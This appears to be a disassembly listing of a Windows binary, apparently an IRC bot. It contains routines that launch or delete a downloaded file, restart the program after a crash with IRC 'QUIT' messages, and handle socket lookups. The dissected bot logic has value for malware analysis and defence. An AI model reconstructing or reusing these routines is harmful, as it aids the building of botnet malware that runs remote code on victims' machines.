		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_6BC]
		push	eax
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_402698
		add	esp, 24h
		mov	[ebp+var_28C], eax


loc_403009:				; CODE XREF: sub_402A32+582j
		cmp	[ebp+var_6CC], 2
		jnz	short loc_403065
		push	[ebp+var_63C]
		movsx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_6C4]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_6D4]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_6BC]
		push	eax
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_402A24
		add	esp, 24h
		mov	[ebp+var_28C], eax


loc_403065:				; CODE XREF: sub_402A32+5DEj
		cmp	[ebp+var_6CC], 3
		jnz	short loc_4030B3
		push	[ebp+var_63C]
		movsx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_6C4]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_6D4]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_402A2B
		add	esp, 1Ch
		mov	[ebp+var_28C], eax


loc_4030B3:				; CODE XREF: sub_402A32+63Aj
					; sub_402A32:loc_403256j
		cmp	[ebp+var_28C], 1
		jnz	loc_403219
		movsx	eax, [ebp+var_296]
		test	eax, eax
		jz	short loc_4030D7
		mov	[ebp+var_7EC], offset dword_4184C0
		jmp	short loc_403104
; ---------------------------------------------------------------------------


loc_4030D7:				; CODE XREF: sub_402A32+697j
		movsx	eax, [ebp+var_2A6]
		test	eax, eax
		jz	short loc_4030EE
		mov	[ebp+var_7F0], offset dword_4184B4
		jmp	short loc_4030F8
; ---------------------------------------------------------------------------


loc_4030EE:				; CODE XREF: sub_402A32+6AEj
		mov	[ebp+var_7F0], offset byte_41DF10


loc_4030F8:				; CODE XREF: sub_402A32+6BAj
		mov	eax, [ebp+var_7F0]
		mov	[ebp+var_7EC], eax


loc_403104:				; CODE XREF: sub_402A32+6A3j
		push	[ebp+var_7EC]
		mov	eax, [ebp+var_6C4]
		shr	eax, 0Ah
		mov	dword ptr [ebp+var_7F8], eax
		and	dword ptr [ebp+var_7F8+4], 0
		fild	[ebp+var_7F8]
		fstp	[ebp+var_7FC]
		call	sub_416B64	; clock
		sub	eax, [ebp-6D8h]
		mov	dword ptr [ebp+var_804], eax
		and	dword ptr [ebp+var_804+4], 0
		fild	[ebp+var_804]
		fdiv	flt_417270
		fdivr	[ebp+var_7FC]
		push	ecx
		push	ecx
		fstp	[esp+814h+var_814]
		lea	eax, [ebp+var_534]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_41846C
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		movsx	eax, [ebp+var_2A7]
		test	eax, eax
		jz	short loc_403198
		lea	eax, [ebp+var_534]
		push	eax
		call	dword_4170AC	; DeleteFileA
		jmp	short loc_403217
; ---------------------------------------------------------------------------


loc_403198:				; CODE XREF: sub_402A32+755j
		movsx	eax, [ebp+var_2A6]
		test	eax, eax
		jnz	short loc_4031AE
		movsx	eax, [ebp+var_296]
		test	eax, eax
		jz	short loc_403217


loc_4031AE:				; CODE XREF: sub_402A32+76Fj
		movsx	eax, [ebp+var_2A3]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_534]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		mov	[ebp+var_7E8], eax
		cmp	[ebp+var_7E8], 20h
		jbe	short loc_4031F4
		movsx	eax, [ebp+var_296]
		test	eax, eax
		jz	short loc_4031F2
		call	sub_407148


loc_4031F2:				; CODE XREF: sub_402A32+7B9j
		jmp	short loc_403217
; ---------------------------------------------------------------------------


loc_4031F4:				; CODE XREF: sub_402A32+7AEj
		lea	eax, [ebp+var_534]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_418444
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_403217:				; CODE XREF: sub_402A32+764j
					; sub_402A32+77Aj ...
		jmp	short loc_40323C
; ---------------------------------------------------------------------------


loc_403219:				; CODE XREF: sub_402A32+688j
		lea	eax, [ebp+var_7DC]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_418414
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_40323C:				; CODE XREF: sub_402A32:loc_403217j
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_40325B
; ---------------------------------------------------------------------------


loc_40324C:				; CODE XREF: sub_402A32:loc_402CCEj
		jmp	loc_402CDD
; ---------------------------------------------------------------------------


loc_403251:				; CODE XREF: sub_402A32:loc_402C75j
		jmp	loc_402CDD
; ---------------------------------------------------------------------------


loc_403256:				; CODE XREF: sub_402A32:loc_402B8Ej
		jmp	loc_4030B3
; ---------------------------------------------------------------------------


loc_40325B:				; CODE XREF: sub_402A32+157j
					; sub_402A32+406j ...
		pop	edi
		leave
		retn	4
sub_402A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403260	proc near		; CODE XREF: sub_40A9CF+959p

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	[ebp+arg_4], 0
		jnz	short loc_403271
		jmp	locret_403329
; ---------------------------------------------------------------------------


loc_403271:				; CODE XREF: sub_403260+Aj
		push	3AFh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_40328A
		jmp	locret_403329
; ---------------------------------------------------------------------------


loc_40328A:				; CODE XREF: sub_403260+23j
		push	8
		push	7Ah
		push	61h
		push	4
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_410501
		add	esp, 14h
		and	[ebp+eax+var_10], 0
		push	offset dword_418620
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jnz	short loc_4032BF
		lea	eax, [ebp+var_10]
		mov	[ebp+arg_8], eax


loc_4032BF:				; CODE XREF: sub_403260+57j
		push	104h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_14]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	104h
		push	[ebp+arg_8]
		mov	eax, [ebp+var_14]
		add	eax, 108h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_14]
		add	eax, 20Ch
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		add	eax, 108h
		push	eax
		mov	eax, [ebp+var_14]
		add	eax, 4
		push	eax
		push	offset dword_4185FC
		push	0
		push	[ebp+var_14]
		push	offset sub_402A32
		call	sub_4095A4
		add	esp, 18h

locret_403329:				; CODE XREF: sub_403260+Cj
					; sub_403260+25j
		leave
		retn
sub_403260	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40332B	proc near		; CODE XREF: sub_4093B6+A0p
					; sub_4094E6+9Bp ...

var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 114h
		push	1
		push	offset dword_41DF1C
		call	sub_409C88
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	dword_41DF18, 0
		jz	loc_4034D9
		mov	[ebp+var_8], offset aException_othe ; "EXCEPTION_OTHER"
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_110], eax
		cmp	[ebp+var_110], 0C0000025h
		ja	short loc_4033A4
		cmp	[ebp+var_110], 0C0000025h
		jz	short loc_4033FA
		cmp	[ebp+var_110], 80000003h
		jz	short loc_4033DF
		cmp	[ebp+var_110], 0C0000005h
		jz	short loc_4033D6
		cmp	[ebp+var_110], 0C000001Dh
		jz	short loc_4033E8
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033A4:				; CODE XREF: sub_40332B+45j
		cmp	[ebp+var_110], 0C000008Dh
		jb	short loc_403413
		cmp	[ebp+var_110], 0C0000093h
		jbe	short loc_40340C
		cmp	[ebp+var_110], 0C0000094h
		jz	short loc_4033F1
		cmp	[ebp+var_110], 0C00000FDh
		jz	short loc_403403
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033D6:				; CODE XREF: sub_40332B+69j
		mov	[ebp+var_8], offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033DF:				; CODE XREF: sub_40332B+5Dj
		mov	[ebp+var_8], offset aException_brea ; "EXCEPTION_BREAKPOINT"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033E8:				; CODE XREF: sub_40332B+75j
		mov	[ebp+var_8], offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033F1:				; CODE XREF: sub_40332B+9Bj
		mov	[ebp+var_8], offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033FA:				; CODE XREF: sub_40332B+51j
		mov	[ebp+var_8], offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_403403:				; CODE XREF: sub_40332B+A7j
		mov	[ebp+var_8], offset aException_stac ; "EXCEPTION_STACK_OVERFLOW"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_40340C:				; CODE XREF: sub_40332B+8Fj
		mov	[ebp+var_8], offset aException_flt ; "EXCEPTION_FLT"


loc_403413:				; CODE XREF: sub_40332B+77j
					; sub_40332B+83j ...
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax+4], 1
		jnz	short loc_40342A
		mov	[ebp+var_114], offset aRestarting ; "Restarting"
		jmp	short loc_403434
; ---------------------------------------------------------------------------


loc_40342A:				; CODE XREF: sub_40332B+F1j
		mov	[ebp+var_114], offset aContinuing ; "Continuing"


loc_403434:				; CODE XREF: sub_40332B+FDj
		push	[ebp+var_114]
		push	[ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		push	dword ptr [eax]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C0h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+9Ch]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A0h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0ACh]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B0h]
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	offset dword_41864C
		push	offset dword_41DB90
		call	sub_40D4AB
		add	esp, 48h


loc_4034D9:				; CODE XREF: sub_40332B+21j
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, 64h
		jz	short loc_4034ED
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax+4], 1
		jnz	short loc_403558


loc_4034ED:				; CODE XREF: sub_40332B+1B5j
		push	104h
		lea	eax, [ebp+var_10C]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		test	eax, eax
		jz	short loc_403545
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_10C]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		cmp	eax, 20h
		ja	short loc_403538
		push	offset aQuitExitting ; "QUIT :exitting"
		call	sub_40D6CB
		pop	ecx
		jmp	short loc_403543
; ---------------------------------------------------------------------------


loc_403538:				; CODE XREF: sub_40332B+1FEj
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx


loc_403543:				; CODE XREF: sub_40332B+20Bj
		jmp	short loc_403550
; ---------------------------------------------------------------------------


loc_403545:				; CODE XREF: sub_40332B+1DFj
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx


loc_403550:				; CODE XREF: sub_40332B:loc_403543j
		push	0
		call	dword_41705C	; ExitProcess


loc_403558:				; CODE XREF: sub_40332B+1C0j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 80000003h
		jnz	short loc_403583
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	eax, [eax+0B8h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+4]
		mov	[ecx+0B8h], eax
		or	eax, 0FFFFFFFFh
		jmp	short locret_403586
; ---------------------------------------------------------------------------


loc_403583:				; CODE XREF: sub_40332B+238j
		push	1
		pop	eax

locret_403586:				; CODE XREF: sub_40332B+256j
		leave
		retn
sub_40332B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403588	proc near		; DATA XREF: sub_403BD3:loc_403D85o

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= dword	ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		cmp	[ebp+arg_8], 0
		jz	short loc_4035E2
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4035BB
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 2
		jz	short loc_4035BB
		push	273Fh
		call	dword_417234	; WSASetLastError
		mov	eax, 273Fh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4035BB:				; CODE XREF: sub_403588+13j
					; sub_403588+1Cj
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+8], 1
		jz	short loc_4035E2
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+8], 2
		jz	short loc_4035E2
		push	273Ch
		call	dword_417234	; WSASetLastError
		mov	eax, 273Ch
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4035E2:				; CODE XREF: sub_403588+Aj
					; sub_403588+3Aj ...
		cmp	[ebp+arg_0], 0
		jnz	loc_4036D6
		push	30h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0
		jnz	short loc_40360D
		push	8
		call	dword_417234	; WSASetLastError
		push	8
		pop	eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_40360D:				; CODE XREF: sub_403588+73j
		push	30h
		push	0
		push	[ebp+var_34]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	10h
		push	0
		lea	eax, [ebp+var_30]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		cmp	[ebp+arg_4], 0
		jz	short loc_40364C
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	[ebp+var_2E], ax


loc_40364C:				; CODE XREF: sub_403588+AEj
		mov	eax, [ebp+var_34]
		mov	dword ptr [eax+4], 2
		cmp	[ebp+arg_8], 0
		jz	short loc_403667
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+8]
		mov	[ebp+var_38], eax
		jmp	short loc_40366E
; ---------------------------------------------------------------------------


loc_403667:				; CODE XREF: sub_403588+D2j
		mov	[ebp+var_38], 1


loc_40366E:				; CODE XREF: sub_403588+DDj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_38]
		mov	[eax+8], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_403688
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_3C], eax
		jmp	short loc_40368F
; ---------------------------------------------------------------------------


loc_403688:				; CODE XREF: sub_403588+F3j
		mov	[ebp+var_3C], 6


loc_40368F:				; CODE XREF: sub_403588+FEj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_3C]
		mov	[eax+0Ch], ecx
		mov	eax, [ebp+var_34]
		mov	dword ptr [eax+10h], 10h
		mov	eax, [ebp+var_34]
		add	eax, 20h
		mov	ecx, [ebp+var_34]
		mov	[ecx+18h], eax
		and	[ebp+var_2C], 0
		push	10h
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+var_34]
		add	eax, 20h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_34]
		mov	[eax], ecx
		xor	eax, eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4036D6:				; CODE XREF: sub_403588+5Ej
		push	[ebp+arg_0]
		call	dword_41723C	; gethostbyname
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4036F2
		mov	eax, 2AFBh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4036F2:				; CODE XREF: sub_403588+15Ej
		and	[ebp+var_20], 0
		jmp	short loc_4036FF
; ---------------------------------------------------------------------------


loc_4036F8:				; CODE XREF: sub_403588+18Cj
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax


loc_4036FF:				; CODE XREF: sub_403588+16Ej
		cmp	[ebp+var_14], 0
		jz	short loc_403716
		mov	eax, [ebp+var_14]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [eax+ecx*4], 0
		jz	short loc_403716
		jmp	short loc_4036F8
; ---------------------------------------------------------------------------


loc_403716:				; CODE XREF: sub_403588+17Bj
					; sub_403588+18Aj
		cmp	[ebp+var_20], 0
		jnz	short loc_403726
		mov	eax, 2AFBh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_403726:				; CODE XREF: sub_403588+192j
		mov	eax, [ebp+var_20]
		imul	eax, 30h
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_40374C
		push	8
		call	dword_417234	; WSASetLastError
		push	8
		pop	eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_40374C:				; CODE XREF: sub_403588+1B2j
		mov	eax, [ebp+var_20]
		imul	eax, 30h
		push	eax
		push	0
		push	[ebp+var_1C]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		cmp	[ebp+arg_4], 0
		jz	short loc_403790
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	[ebp+var_E], ax


loc_403790:				; CODE XREF: sub_403588+1F2j
		and	[ebp+var_18], 0
		jmp	short loc_40379D
; ---------------------------------------------------------------------------


loc_403796:				; CODE XREF: sub_403588:loc_4038A7j
		mov	eax, [ebp+var_18]
		inc	eax
		mov	[ebp+var_18], eax


loc_40379D:				; CODE XREF: sub_403588+20Cj
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_20]
		jnb	loc_4038AC
		cmp	[ebp+arg_8], 0
		jz	short loc_4037B9
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		mov	[ebp+var_40], eax
		jmp	short loc_4037C0
; ---------------------------------------------------------------------------


loc_4037B9:				; CODE XREF: sub_403588+225j
		mov	[ebp+var_40], 4


loc_4037C0:				; CODE XREF: sub_403588+22Fj
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_40]
		mov	[ecx+eax], edx
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	dword ptr [ecx+eax+4], 2
		cmp	[ebp+arg_8], 0
		jz	short loc_4037F1
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+8]
		mov	[ebp+var_44], eax
		jmp	short loc_4037F8
; ---------------------------------------------------------------------------


loc_4037F1:				; CODE XREF: sub_403588+25Cj
		mov	[ebp+var_44], 1


loc_4037F8:				; CODE XREF: sub_403588+267j
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_44]
		mov	[ecx+eax+8], edx
		cmp	[ebp+arg_8], 0
		jz	short loc_403819
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_48], eax
		jmp	short loc_403820
; ---------------------------------------------------------------------------


loc_403819:				; CODE XREF: sub_403588+284j
		mov	[ebp+var_48], 6


loc_403820:				; CODE XREF: sub_403588+28Fj
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_48]
		mov	[ecx+eax+0Ch], edx
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	dword ptr [ecx+eax+10h], 10h
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		lea	eax, [ecx+eax+20h]
		mov	ecx, [ebp+var_18]
		imul	ecx, 30h
		mov	edx, [ebp+var_1C]
		mov	[edx+ecx+18h], eax
		mov	eax, [ebp+var_14]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_18]
		mov	eax, [eax+ecx*4]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		lea	eax, [ecx+eax+20h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		cmp	[ebp+var_18], 0
		jz	short loc_4038A7
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		add	ecx, eax
		mov	eax, [ebp+var_18]
		dec	eax
		imul	eax, 30h
		mov	edx, [ebp+var_1C]
		mov	[edx+eax+1Ch], ecx


loc_4038A7:				; CODE XREF: sub_403588+304j
		jmp	loc_403796
; ---------------------------------------------------------------------------


loc_4038AC:				; CODE XREF: sub_403588+21Bj
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_1C]
		mov	[eax], ecx
		xor	eax, eax

locret_4038B6:				; CODE XREF: sub_403588+2Ej
					; sub_403588+55j ...
		leave
		retn	10h
sub_403588	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038BA	proc near		; DATA XREF: sub_403BD3+1BCo

var_434		= dword	ptr -434h
var_430		= byte ptr -430h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 434h
		cmp	[ebp+arg_8], 0
		jnz	short loc_4038CF
		cmp	[ebp+arg_10], 0
		jz	short loc_4038D8


loc_4038CF:				; CODE XREF: sub_4038BA+Dj
		mov	eax, [ebp+arg_18]
		and	al, 0E0h
		test	eax, eax
		jz	short loc_4038ED


loc_4038D8:				; CODE XREF: sub_4038BA+13j
		push	2726h
		call	dword_417234	; WSASetLastError
		mov	eax, 2726h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_4038ED:				; CODE XREF: sub_4038BA+1Cj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_40C], eax
		mov	eax, [ebp+var_40C]
		movsx	eax, word ptr [eax]
		cmp	eax, 2
		jz	short loc_403919
		push	273Fh
		call	dword_417234	; WSASetLastError
		mov	eax, 273Fh
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403919:				; CODE XREF: sub_4038BA+48j
		cmp	[ebp+arg_8], 0
		jz	loc_403ABA
		mov	eax, [ebp+var_40C]
		push	dword ptr [eax+4]
		call	dword_41721C	; inet_ntoa
		mov	[ebp+var_434], eax
		cmp	[ebp+var_434], 0
		jnz	short loc_403949
		or	eax, 0FFFFFFFFh
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403949:				; CODE XREF: sub_4038BA+85j
		push	401h
		push	[ebp+var_434]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+arg_18]
		and	eax, 2
		test	eax, eax
		jz	short loc_403972
		jmp	loc_403BB4
; ---------------------------------------------------------------------------


loc_403972:				; CODE XREF: sub_4038BA+B1j
		mov	eax, [ebp+arg_18]
		and	eax, 4
		test	eax, eax
		jz	short loc_4039F4
		push	0
		push	4
		mov	eax, [ebp+var_40C]
		add	eax, 4
		push	eax
		call	dword_417220	; gethostbyaddr
		mov	[ebp+var_410], eax
		cmp	[ebp+var_410], 0
		jnz	short loc_4039AA
		call	dword_417224	; WSAGetLastError
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_4039AA:				; CODE XREF: sub_4038BA+E3j
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_C]
		jbe	short loc_4039D3
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_4039D3:				; CODE XREF: sub_4038BA+102j
		push	401h
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	loc_403ABA
; ---------------------------------------------------------------------------


loc_4039F4:				; CODE XREF: sub_4038BA+C0j
		mov	eax, [ebp+arg_18]
		and	eax, 1
		test	eax, eax
		jz	loc_403A92
		mov	eax, [ebp+var_40C]
		cmp	dword ptr [eax+4], 7F000001h
		jz	short loc_403A1D
		mov	eax, [ebp+var_40C]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_403A92


loc_403A1D:				; CODE XREF: sub_4038BA+155j
		push	0
		push	4
		mov	eax, [ebp+var_40C]
		add	eax, 4
		push	eax
		call	dword_417220	; gethostbyaddr
		mov	[ebp+var_410], eax
		cmp	[ebp+var_410], 0
		jnz	short loc_403A4B
		call	dword_417224	; WSAGetLastError
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403A4B:				; CODE XREF: sub_4038BA+184j
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_C]
		jbe	short loc_403A74
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403A74:				; CODE XREF: sub_4038BA+1A3j
		push	401h
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_403ABA
; ---------------------------------------------------------------------------


loc_403A92:				; CODE XREF: sub_4038BA+142j
					; sub_4038BA+161j ...
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_C]
		jbe	short loc_403ABA
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403ABA:				; CODE XREF: sub_4038BA+63j
					; sub_4038BA+135j ...
		cmp	[ebp+arg_10], 0
		jz	loc_403B99
		push	8
		pop	eax
		test	eax, eax
		jz	short loc_403B2C
		push	0Ah
		lea	eax, [ebp+var_430]
		push	eax
		mov	eax, [ebp+var_40C]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
